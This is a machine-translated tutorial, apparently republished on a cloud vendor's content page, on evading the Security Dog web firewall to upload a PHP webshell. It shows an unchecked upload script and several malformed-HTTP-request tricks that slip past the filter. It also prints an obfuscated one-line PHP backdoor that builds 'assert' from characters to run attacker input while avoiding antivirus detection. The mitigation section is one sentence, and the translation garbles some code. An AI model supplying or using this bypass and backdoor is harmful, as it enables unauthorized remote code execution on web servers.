Bypass website Security dog Intercept, upload Webshell tips summary (with no PHP to kill a sentence)

Source: Internet
Author: User
Tags php source code upload php

This article describes the way I know to bypass the website security dog upload Webshell.

The idea is to modify the HTTP request to make the malformed HTTP request, and then bypass the Web security dog's detection.

Don't say much nonsense, cut to the chase ....

1. Experimental environment:

Windows Server 2003, apache/2.4.18, php/5.3.29, website Security Dog (Apache edition) V3.5.12048

2, for the file upload PHP source code:

<?php

$path = dirname (__file__). '/upload/';

$rand = rand (0, +);

Move_uploaded_file ($_files["file"] ["Tmp_name"], $path. $rand. $_files["File" ["name"]);

echo "File Path:". $path. $rand. $_files["File" ["name"]. "<br/>";

echo "OK";

?>

Because the purpose of this experiment is to bypass the website security dog, so the PHP source I did not do any testing, the uploaded files directly in the upload directory.

3, first look at the normal HTTP request:

It is clear that the file name "yijuhua.php" was intercepted ....

4. Try%00 truncation:

Obviously, it failed.

5. Modify HTTP request, construct malformed HTTP request

(1) Delete the Conten-type field inside the entity:

Bypass website Security dog interception, successfully uploaded Webshell ...

(2) Delete the space in the Content-disposition field:

(3) Modify the case of the Content-disposition field value:

6, kitchen knife connection in a word:

Here, upload Webshell end, you see it?

7, do not kill PHP sentence:

<?php

/*

PHP a Word Trojan

ASSERT ($string)

*/

$arr = Array (' a ',' s ',' s ',' e ',' R ',' t ');

$func = ";

For ($i =0; $i <count ($arr); $i + +) {

$func. = $func. $arr [$i];

}

$func ($_request[' C ');

?>

8. Fix the vulnerability:

In this case, I think the site security dog was developed without taking into account malformed HTTP requests, and Apache is compatible with malformed HTTP requests, so it can upload successfully.

Bypass website Security dog Intercept, upload Webshell tips summary (with no PHP to kill a sentence)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.